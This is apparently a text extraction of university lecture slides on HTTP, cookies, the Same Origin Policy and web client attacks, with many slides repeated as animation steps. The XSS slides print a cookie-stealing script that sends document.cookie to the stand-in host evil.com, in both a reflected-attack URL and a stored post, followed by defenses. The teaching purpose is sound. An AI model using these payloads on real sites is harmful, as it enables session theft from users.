CS 3700 Networks and Distributed Systems The Web Client-Server - - PowerPoint PPT Presentation

cs 3700 networks and distributed systems
SMART_READER_LITE
LIVE PREVIEW

CS 3700 Networks and Distributed Systems The Web Client-Server - - PowerPoint PPT Presentation

CS 3700 Networks and Distributed Systems The Web Client-Server Computing 2 99% of all distributed systems use client-server architectures! Today: look at the most popular client-server The Web The Web The Web has become a


slide-1
SLIDE 1

CS 3700
 Networks and Distributed Systems

The Web

slide-2
SLIDE 2

Client-Server Computing

  • 99% of all distributed systems use client-server architectures!
  • Today: look at the most popular client-server – The Web

2

slide-3
SLIDE 3

The Web

  • The Web has become a powerful platform for developing and

distributing applications

  • Huge user population
  • Relatively easy to develop and deploy cross-platform
  • Platform has evolved significantly
  • Very simple model initially
  • Today, it is a mix of client- and server-side components
  • Web services and APIs are now ubiquitous
  • Geared towards an open model
  • On the client-side, all documents, data, and code are visible/

modifiable

  • Commonplace to link to or share data/code with other (untrusted)

sites

slide-4
SLIDE 4

Hypertext Transfer Protocol

Requests and Responses Interactions with TCP

slide-5
SLIDE 5

Origins

  • 1991: First version of Hypertext Markup Language (HTML)

released by Sir Tim Berners-Lee

  • Markup language for displaying documents
  • Contained 18 tags, including anchor (<a>) a.k.a. a hyperlink
  • 1991: First version of Hypertext Transfer Protocol (HTTP) is

published

  • Berners-Lee’s original protocol only included GET requests for HTML
  • HTTP is more general, many request (e.g. PUT) and document types
slide-6
SLIDE 6

1992:

slide-7
SLIDE 7

Web Architecture circa-1992

Client Side Server Side Protocols

Gopher FTP HTTP

Document Renderer HTML Parser Network Protocols Network Protocols

HTML

slide-8
SLIDE 8

HTTP Protocol

  • Hypertext Transfer Protocol
  • Client/server protocol
  • Intended for downloading HTML documents
  • Can be generalized to download any kind of file
  • HTTP message format
  • Text based protocol, almost always over TCP
  • Stateless
  • Requests and responses must have a header, body is optional
  • Headers includes key: value pairs
  • Body typically contains a file (GET) or user data (POST)
  • Various versions
  • 0.9 and 1.0 are outdated, 1.1 is most common, 2.0 has just been

ratified

slide-9
SLIDE 9

HTTP Request Format

slide-10
SLIDE 10

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-11
SLIDE 11

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-12
SLIDE 12

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-13
SLIDE 13

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-14
SLIDE 14

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-15
SLIDE 15

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-16
SLIDE 16

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-17
SLIDE 17

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-18
SLIDE 18

HTTP Request Example

GET /index.html HTTP/1.1 Host: www.reddit.com Connection: keep-alive Accept: text/html,application/xhtml+xml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/ 65.0.3325.51 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Referer: www.google.com/search

Method, resource, and version Contacted domain Connection type Accepted file types Your browser and OS Compressed responses? Your preferred language Previous site you were browsing

slide-19
SLIDE 19

HTTP Request Methods

Verb Description GET Retrieve resource at a given path POST Submit data to a given path, might create resources as new paths HEAD Identical to a GET , but response omits body PUT Submit data to a given path, creating resource if it exists or modifying existing resource at that path DELETE Deletes resource at a given path TRACE Echoes request OPTIONS Returns supported HTTP methods given a path CONNECT Creates a tunnel to a given network location

slide-20
SLIDE 20

HTTP Request Methods

Verb Description GET Retrieve resource at a given path POST Submit data to a given path, might create resources as new paths HEAD Identical to a GET , but response omits body PUT Submit data to a given path, creating resource if it exists or modifying existing resource at that path DELETE Deletes resource at a given path TRACE Echoes request OPTIONS Returns supported HTTP methods given a path CONNECT Creates a tunnel to a given network location 99.9% of all HTTP requests

slide-21
SLIDE 21

HTTP Request Methods

Verb Description GET Retrieve resource at a given path POST Submit data to a given path, might create resources as new paths HEAD Identical to a GET , but response omits body PUT Submit data to a given path, creating resource if it exists or modifying existing resource at that path DELETE Deletes resource at a given path TRACE Echoes request OPTIONS Returns supported HTTP methods given a path CONNECT Creates a tunnel to a given network location 99.9% of all HTTP requests Rarely used

slide-22
SLIDE 22

HTTP Request Methods

Verb Description GET Retrieve resource at a given path POST Submit data to a given path, might create resources as new paths HEAD Identical to a GET , but response omits body PUT Submit data to a given path, creating resource if it exists or modifying existing resource at that path DELETE Deletes resource at a given path TRACE Echoes request OPTIONS Returns supported HTTP methods given a path CONNECT Creates a tunnel to a given network location 99.9% of all HTTP requests Rarely used Only for HTTP proxies

slide-23
SLIDE 23

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-24
SLIDE 24

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-25
SLIDE 25

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-26
SLIDE 26

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-27
SLIDE 27

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-28
SLIDE 28

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-29
SLIDE 29

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-30
SLIDE 30

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-31
SLIDE 31

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-32
SLIDE 32

HTTP Response Example

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Content-Encoding: gzip Content-Length 24824 Server: Apache 2.4.2 Date: Mon, 12 Feb 2018 22:44:23 GMT Connection: keep-alive [response content goes down here]

Version and status code File type of response Cache the response? Response is compress? Length of response content Info about the web server Close the connection?

slide-33
SLIDE 33

HTTP Response Status Codes

  • 3 digit response code
  • 1XX – informational
  • 2XX – success
  • 200 OK
  • 3XX – redirection
  • 301 Moved Permanently
  • 303 Moved Temporarily
  • 304 Not Modified
  • 4XX – client error
  • 404 Not Found
  • 5XX – server error
  • 505 HTTP Version Not Supported
slide-34
SLIDE 34

Sending Data Over HTTP

  • Four ways to send data to the server
  • 1. Embedded in the URL (typically URL encoded, but not always)
  • 2. In cookies (cookie encoded)
  • 3. Inside a custom HTTP request header
  • 4. In the HTTP request body (form-encoded)

POST /purchase.html?user=cbw&item=iPad&price=399.99#shopping_cart HTTP/ 1.1 … other headers… Cookie: user=cbw; item=iPad; price=399.99; X-My-Header: cbw/iPad/399.99 user=cbw&item=iPad&price=399.99

slide-35
SLIDE 35

Sending Data Over HTTP

  • Four ways to send data to the server
  • 1. Embedded in the URL (typically URL encoded, but not always)
  • 2. In cookies (cookie encoded)
  • 3. Inside a custom HTTP request header
  • 4. In the HTTP request body (form-encoded)

POST /purchase.html?user=cbw&item=iPad&price=399.99#shopping_cart HTTP/ 1.1 … other headers… Cookie: user=cbw; item=iPad; price=399.99; X-My-Header: cbw/iPad/399.99 user=cbw&item=iPad&price=399.99 1 2 3 4

slide-36
SLIDE 36

Web Pages

  • Multiple (typically small) objects per

page

  • E.g., each image, JS, CSS, etc.

downloaded separately

  • Single page can have 100s of HTTP

transactions!

  • File sizes are heavy-tailed
  • Most transfers/objects very small
  • Problem: Browser can’t render

complete page until all objects are downloaded

<!doctype html> <html> <head> <title>Hello World</title> <script src=“../jquery.js”></script> </head> <body> <h1>Hello World</h1> <img src=“/img/my_face.jpg"></img> <p> I am 12 and what is <a href="wierd_thing.html">this</a>? </p> <img src=“http://www.images.com/ cat.jpg"></img> </body> </html>

slide-37
SLIDE 37

Web Pages

  • Multiple (typically small) objects per

page

  • E.g., each image, JS, CSS, etc.

downloaded separately

  • Single page can have 100s of HTTP

transactions!

  • File sizes are heavy-tailed
  • Most transfers/objects very small
  • Problem: Browser can’t render

complete page until all objects are downloaded

<!doctype html> <html> <head> <title>Hello World</title> <script src=“../jquery.js”></script> </head> <body> <h1>Hello World</h1> <img src=“/img/my_face.jpg"></img> <p> I am 12 and what is <a href="wierd_thing.html">this</a>? </p> <img src=“http://www.images.com/ cat.jpg"></img> </body> </html>

4 total objects: 1 HTML, 1 JavaScript, 2 images

slide-38
SLIDE 38

HTTP 0.9/1.0

  • One request/response per TCP connection
  • Simple to implement
  • Bad interactions with TCP
slide-39
SLIDE 39

HTTP 0.9/1.0

  • One request/response per TCP connection
  • Simple to implement
  • Bad interactions with TCP
  • Requires a new three-way handshake for each object
  • Two extra round trip for each object
  • High amounts of SYN/ACK overhead
  • Download of each object begins in slow start
  • Additionally, loss recovery is poor when windows are small
slide-40
SLIDE 40

HTTP 1.1

  • Multiplex multiple transfers onto one TCP connection
  • Client keeps connection open
  • Can send another request after the first completes
  • Must announce intention via a header
  • Connection: keep-alive
  • Server must say how long response is, so client knows when done
  • Content-Length: XXX
slide-41
SLIDE 41

Content on Today’s Internet

  • Most flows are HTTP
  • Web is at least 52% of traffic
  • Median object size is 2.7K, average is 85K
  • HTTP uses TCP

, so it will

  • Be ACK clocked
  • For Web, likely never leave slow start
  • In general, not have great performance
  • Alternatives?
  • HTTP 2.0 – aggressively pipelines and multiplexes connections
  • QUIC – Google’s alternative to TCP designed just for HTTP
slide-42
SLIDE 42

Same Origin Policy

Cookies XHR

slide-43
SLIDE 43

Web Architecture circa-1992

Client Side Server Side Protocols

Gopher FTP HTTP

Document Renderer HTML Parser Network Protocols Network Protocols

HTML

slide-44
SLIDE 44

Web Architecture circa-2016

Client Side Server Side Protocols

FTP HTTP 1.0/1.1 HTTP 2.0 SSL and TLS Websocket QUIC

Document Model and Renderer HTML Parser Network Protocols Network Protocols

HTML

CSS Parser JS Runtime

JS CSS Storage Cookies

Application Code (Java, PHP , Python, Node, etc)

Database

slide-45
SLIDE 45

Securing the Browser

  • Browsers have become incredibly complex
  • Ability to open multiple pages at the same time (tabs and windows)
  • Execute arbitrary code (JavaScript)
  • Store state from many origins (cookies, etc.)
slide-46
SLIDE 46

Securing the Browser

  • Browsers have become incredibly complex
  • Ability to open multiple pages at the same time (tabs and windows)
  • Execute arbitrary code (JavaScript)
  • Store state from many origins (cookies, etc.)
  • How does the browser isolate code/data from different pages?
  • One page shouldn’t be able to interfere with any others
  • One page shouldn’t be able to read private data stored by any others
slide-47
SLIDE 47

Securing the Browser

  • Browsers have become incredibly complex
  • Ability to open multiple pages at the same time (tabs and windows)
  • Execute arbitrary code (JavaScript)
  • Store state from many origins (cookies, etc.)
  • How does the browser isolate code/data from different pages?
  • One page shouldn’t be able to interfere with any others
  • One page shouldn’t be able to read private data stored by any others
  • Additional challenge: content may mix origins
  • Web pages may embed images and scripts from other domains
slide-48
SLIDE 48

Securing the Browser

  • Browsers have become incredibly complex
  • Ability to open multiple pages at the same time (tabs and windows)
  • Execute arbitrary code (JavaScript)
  • Store state from many origins (cookies, etc.)
  • How does the browser isolate code/data from different pages?
  • One page shouldn’t be able to interfere with any others
  • One page shouldn’t be able to read private data stored by any others
  • Additional challenge: content may mix origins
  • Web pages may embed images and scripts from other domains
  • Same Origin Policy
  • Basis for all classical web security
slide-49
SLIDE 49

Cookies

  • Introduced in 1994, cookies are a basic mechanism for

persistent state

  • Allows services to store a small amount of data at the client (usually

~4K)

  • Often used for identification, authentication, user tracking
  • Attributes
  • Domain and path restricts resources browser will send cookies to
  • Expiration sets how long cookie is valid
  • Additional security restrictions (added much later): HttpOnly, Secure
  • Manipulated by Set-Cookie and Cookie headers
slide-50
SLIDE 50

Cookie Example

Client Side Server Side

slide-51
SLIDE 51

Cookie Example

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK

slide-52
SLIDE 52

Cookie Example

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK POST /cgi/login.sh HTTP/1.1 HTTP/1.1 302 Found Set-Cookie: session=FhizeVYSkS7X2K If credentials are correct:

  • 1. Generate a random token
  • 2. Store token in the

database

  • 3. Send token to the client
slide-53
SLIDE 53

Cookie Example

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK POST /cgi/login.sh HTTP/1.1 HTTP/1.1 302 Found Set-Cookie: session=FhizeVYSkS7X2K Store the cookie If credentials are correct:

  • 1. Generate a random token
  • 2. Store token in the

database

  • 3. Send token to the client
slide-54
SLIDE 54

Cookie Example

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK POST /cgi/login.sh HTTP/1.1 HTTP/1.1 302 Found Set-Cookie: session=FhizeVYSkS7X2K HTTP/1.1 200 OK GET /private_data.html HTTP/1.1 Cookie: session=FhizeVYSkS7X2K; Store the cookie If credentials are correct:

  • 1. Generate a random token
  • 2. Store token in the

database

  • 3. Send token to the client
  • 1. Check token in the database
  • 2. If it exists, user is

authenticated

slide-55
SLIDE 55

Cookie Example

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK POST /cgi/login.sh HTTP/1.1 HTTP/1.1 302 Found Set-Cookie: session=FhizeVYSkS7X2K GET /my_files.html HTTP/1. Cookie: session=FhizeVYSkS7X2K; HTTP/1.1 200 OK GET /private_data.html HTTP/1.1 Cookie: session=FhizeVYSkS7X2K; Store the cookie If credentials are correct:

  • 1. Generate a random token
  • 2. Store token in the

database

  • 3. Send token to the client
  • 1. Check token in the database
  • 2. If it exists, user is

authenticated

slide-56
SLIDE 56

Managing State

  • Each origin may set cookies
  • Objects from embedded resources may also set cookies

<img src=“http://www.images.com/cats/adorablekitten.jpg"></ img>

slide-57
SLIDE 57

Managing State

  • Each origin may set cookies
  • Objects from embedded resources may also set cookies

<img src=“http://www.images.com/cats/adorablekitten.jpg"></ img>

  • When the browser sends an HTTP request to origin D, which cookies are

included?

slide-58
SLIDE 58

Managing State

  • Each origin may set cookies
  • Objects from embedded resources may also set cookies

<img src=“http://www.images.com/cats/adorablekitten.jpg"></ img>

  • When the browser sends an HTTP request to origin D, which cookies are

included?

  • Only cookies for origin D that obey the specific path constraints
slide-59
SLIDE 59

What About JavaScript?

  • Javascript enables dynamic inclusion of objects

document.write('<img src=“http://example.com/?c=' + document.cookie + '></img>');

  • A webpage may include objects and code from multiple domains
  • Should Javascript from one domain be able to access objects in other

domains? <script src=‘https://code.jquery.com/jquery-2.1.3.min.js’></script>

slide-60
SLIDE 60

Mixing Origins

<html> <head></head> <body> <p>This is my page.</p> <script>var password = ‘s3cr3t’;</script> <iframe id=‘goog’ src=‘http:// google.com’></iframe> </body> </html> This is my page.

slide-61
SLIDE 61

Mixing Origins

<html> <head></head> <body> <p>This is my page.</p> <script>var password = ‘s3cr3t’;</script> <iframe id=‘goog’ src=‘http:// google.com’></iframe> </body> </html> This is my page.

Can JS from google.com read password?

slide-62
SLIDE 62

Mixing Origins

<html> <head></head> <body> <p>This is my page.</p> <script>var password = ‘s3cr3t’;</script> <iframe id=‘goog’ src=‘http:// google.com’></iframe> </body> </html> This is my page.

Can JS from google.com read password? Can JS in the main context do the following: document.getElementById(‘goog’).cooki e?

slide-63
SLIDE 63

Same Origin Policy

  • The Same-Origin Policy (SOP) states that subjects from one origin cannot access
  • bjects from another origin
  • SOP is the basis of classic web security
  • Some exceptions to this policy (unfortunately)
  • SOP has been relaxed over time to make controlled sharing easier
  • In the case of cookies
  • Domains are the origins
  • Cookies are the subjects
slide-64
SLIDE 64

Same Origin Policy

Origin = <protocol, hostname, port>

  • The Same-Origin Policy (SOP) states that subjects from one origin cannot access
  • bjects from another origin
  • This applies to JavaScript
  • JS from origin D cannot access objects from origin D’
  • E.g. the iframe example
  • However, JS included in D can access all objects in D
  • E.g. <script src=‘https://code.jquery.com/jquery-2.1.3.min.js’></script>
slide-65
SLIDE 65

XMLHttpRequest (XHR)

  • Introduced by Microsoft in 1999
  • API for asynchronous network requests in JavaScript
  • Browser-specific API (still to this day)
  • Often abstracted via a library (jQuery)
  • SOP restrictions apply (with some exceptions)
  • Typical workflow
  • Handle client-side event (e.g. button click)
  • Invoke XHR to server
  • Load data from server (HTML, XML, JSON)
  • Update DOM

30

slide-66
SLIDE 66

XHR Example

<div id="msg"></div> <form id="xfer">…</form> <script> $('#xfer').submit(function(form_obj) { var xhr = new XMLHttpRequest(); xhr.open(‘POST’, ‘/xfer.php’, true); xhr.setRequestHeader(‘Content-type’, ‘application/x-www-form- urlencoded’); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { $('#msg').html(xhr.responseText); } }; xhr.send($(this).serialize()); }); </script>

slide-67
SLIDE 67

XHR vs. SOP

  • Legal: requests for objects from the same origin

$.get('server.php?var=' + my_val);

  • Illegal: requests for objects from other origins
  • Why not?

$.get(‘https://facebook.com/’);

slide-68
SLIDE 68

XHR vs. SOP

  • Legal: requests for objects from the same origin

$.get('server.php?var=' + my_val);

  • Illegal: requests for objects from other origins
  • Why not?

$.get(‘https://facebook.com/’);

  • Work arounds for cross-domain XHR
  • JSONP (old-school, horrifically unsafe hack)
  • XDR and CORS (modern techniques)
slide-69
SLIDE 69

Attacking Web Clients

Cross Site Scripting (XSS) Cross Site Request Forgery (CSRF)

slide-70
SLIDE 70

Focus on the Client

  • Your browser stores a lot of sensitive information
  • Your browsing history
  • Saved usernames and passwords
  • Saved forms (i.e. credit card numbers)
  • Cookies (especially session cookies)
  • Browsers try their hardest to secure this information
  • i.e. prevent an attacker from stealing this information
  • However, nobody is perfect ;)
slide-71
SLIDE 71

Web Threat Model

  • Attacker’s goal:
  • Steal information from your browser (i.e. your session cookie for

bofa.com)

  • Browser’s goal: isolate code from different origins
  • Don’t allow the attacker to exfiltrate private information from your

browser

  • Attackers capability: trick you into clicking a link
  • May direct to a site controlled by the attacker
  • May direct to a legitimate site (but in a nefarious way…)
slide-72
SLIDE 72

Threat Model Assumptions

  • Attackers cannot intercept, drop, or modify traffic
  • No man-in-the-middle attacks
  • DNS is trustworthy
  • No DNS spoofing or Kaminsky
  • TLS and CAs are trustworthy
  • No Beast, POODLE, or stolen certs
  • Scripts cannot escape browser sandbox
  • SOP restrictions are faithfully enforced
  • Browser/plugins are free from vulnerabilities
  • Not realistic, drive-by-download attacks are very common
  • But, this restriction forces the attacker to be more creative ;)
slide-73
SLIDE 73

Cookie Exfiltration

document.write('<img src="http://evil.com/c.jpg?' + document.cookie + '">');

  • DOM API for cookie access (document.cookie)
  • Often, the attacker's goal is to exfiltrate this property
  • Why?
slide-74
SLIDE 74

Cookie Exfiltration

document.write('<img src="http://evil.com/c.jpg?' + document.cookie + '">');

  • DOM API for cookie access (document.cookie)
  • Often, the attacker's goal is to exfiltrate this property
  • Why?
  • Exfiltration is restricted by SOP

...somewhat

  • Suppose you click a link directing to evil.com
  • JS from evil.com cannot read cookies for bofa.com
  • What about injecting code?
  • If the attacker can somehow add code into bofa.com, the reading and

exporting cookies is easy (see above)

slide-75
SLIDE 75

Cross-Site Scripting (XSS)

  • XSS refers to running code from an untrusted origin
  • Usually a result of a document integrity violation
  • Documents are compositions of trusted, developer-specified objects and

untrusted input

  • Allowing user input to be interpreted as document structure (i.e., elements)

can lead to malicious code execution

  • Typical goals
  • Steal authentication credentials (session IDs)
  • Or, more targeted unauthorized actions
slide-76
SLIDE 76

Types of XSS

  • Reflected (Type 1)
  • Code is included as part of a malicious link
  • Code included in page rendered by visiting link
  • Stored (Type 2)
  • Attacker submits malicious code to server
  • Server app persists malicious code to storage
  • Victim accesses page that includes stored code
  • DOM-based (Type 3)
  • Purely client-side injection
slide-77
SLIDE 77

Vulnerable Website, Type 1

  • Suppose we have a search site, www.websearch.com

http://www.websearch.com/search?q=Christo+Wilson

Web Search Results for: Christo Wilson Christo Wilson – Professor at Northeastern

http://www.ccs.neu.edu/home/cbw/index.html

slide-78
SLIDE 78

Vulnerable Website, Type 1

  • Suppose we have a search site, www.websearch.com

http://www.websearch.com/search?q=Christo+Wilson

Web Search Results for: Christo Wilson Christo Wilson – Professor at Northeastern

http://www.ccs.neu.edu/home/cbw/index.html

slide-79
SLIDE 79

Vulnerable Website, Type 1

http://www.websearch.com/search?q=<img src=“http://img.com/nyan.jpg”/>

Web Search Results for:

slide-80
SLIDE 80

Reflected XSS Attack

http://www.websearch.com/search?q=<script>document.write('<img src="http:// evil.com/?'+document.cookie+'">');</script>

Origin: www.websearch.com session=xI4f-Qs02fd evil.com websearch.com

slide-81
SLIDE 81

Reflected XSS Attack

http://www.websearch.com/search?q=<script>document.write('<img src="http:// evil.com/?'+document.cookie+'">');</script>

Origin: www.websearch.com session=xI4f-Qs02fd evil.com websearch.com 1) Send malicious link to the victim

slide-82
SLIDE 82

Reflected XSS Attack

http://www.websearch.com/search?q=<script>document.write('<img src="http:// evil.com/?'+document.cookie+'">');</script>

Origin: www.websearch.com session=xI4f-Qs02fd evil.com websearch.com 4) GET /?session=… 1) Send malicious link to the victim 2 ) G E T s e a r c h ? q = < s c r i p t > … 3 ) H T T P / 1 . 1 2 O K

slide-83
SLIDE 83

Vulnerable Website, Type 2

  • Suppose we have a social network, www.friendly.com

friendly

What’s going on?

I hope you like pop-tarts ;) <script>document.body.style.backgroundImage = "url(' http://img.com/nyan.jpg ')"</script> Update Status

slide-84
SLIDE 84

Vulnerable Website, Type 2

  • Suppose we have a social network, www.friendly.com

friendly

Latest Status Updates

I hope you like pop-tarts ;) Monday, March 23, 2015

slide-85
SLIDE 85

Stored XSS Attack

<script>document.write('<img src="http:// evil.com/?'+document.cookie+'">');</script>

Origin: www.friendly.com session=xI4f-Qs02fd evil.com friendly.com

slide-86
SLIDE 86

Stored XSS Attack

<script>document.write('<img src="http:// evil.com/?'+document.cookie+'">');</script>

Origin: www.friendly.com session=xI4f-Qs02fd evil.com friendly.com 1 ) P

  • s

t m a l i c i

  • u

s J S t

  • p

r

  • f

i l e

slide-87
SLIDE 87

Stored XSS Attack

<script>document.write('<img src="http:// evil.com/?'+document.cookie+'">');</script>

Origin: www.friendly.com session=xI4f-Qs02fd evil.com friendly.com 2 ) S e n d l i n k t

  • a

t t a c k e r ’ s p r

  • f

i l e t

  • t

h e v i c t i m 1 ) P

  • s

t m a l i c i

  • u

s J S t

  • p

r

  • f

i l e

slide-88
SLIDE 88

Stored XSS Attack

<script>document.write('<img src="http:// evil.com/?'+document.cookie+'">');</script>

Origin: www.friendly.com session=xI4f-Qs02fd evil.com friendly.com 5) GET /?session=… 3 ) G E T / p r

  • f

i l e . p h p ? u i d = … 4) HTTP/1.1 200 OK 2 ) S e n d l i n k t

  • a

t t a c k e r ’ s p r

  • f

i l e t

  • t

h e v i c t i m 1 ) P

  • s

t m a l i c i

  • u

s J S t

  • p

r

  • f

i l e

slide-89
SLIDE 89

Mitigating XSS Attacks

  • Client-side defenses
  • 1. Cookie restrictions – HttpOnly and Secure
  • 2. Client-side filter – X-XSS-Protection
  • Enables heuristics in the browser that attempt to block injected scripts
  • Server-side defenses
  • 3. Input validation

x = request.args.get('msg') if not is_valid_base64(x): abort(500)

  • 4. Output filtering

<div id="content">{{sanitize(data)}}</div>

slide-90
SLIDE 90

HttpOnly Cookies

  • One approach to defending against cookie stealing: HttpOnly cookies
  • Server may specify that a cookie should not be exposed in the DOM
  • But, they are still sent with requests as normal
  • Not to be confused with Secure
  • Cookies marked as Secure may only be sent over HTTPS
  • Website designers should, ideally, enable both of these features
slide-91
SLIDE 91

HttpOnly Cookies

  • One approach to defending against cookie stealing: HttpOnly cookies
  • Server may specify that a cookie should not be exposed in the DOM
  • But, they are still sent with requests as normal
  • Not to be confused with Secure
  • Cookies marked as Secure may only be sent over HTTPS
  • Website designers should, ideally, enable both of these features
  • Does HttpOnly prevent all attacks?
slide-92
SLIDE 92

HttpOnly Cookies

  • One approach to defending against cookie stealing: HttpOnly cookies
  • Server may specify that a cookie should not be exposed in the DOM
  • But, they are still sent with requests as normal
  • Not to be confused with Secure
  • Cookies marked as Secure may only be sent over HTTPS
  • Website designers should, ideally, enable both of these features
  • Does HttpOnly prevent all attacks?
  • Of course not, it only prevents cookie theft
  • Other private data may still be exfiltrated from the origin
slide-93
SLIDE 93

Cross-Site Request Forgery (CSRF)

slide-94
SLIDE 94

Cross-Site Request Forgery (CSRF)

  • CSRF is another of the basic web attacks
  • Attacker tricks victim into accessing URL that performs an unauthorized

action

  • Avoids the need to read private state (e.g. document.cookie)
  • Abuses the SOP
  • All requests to origin D* will include D*’s cookies
  • … even if some other origin D sends the request to D*
slide-95
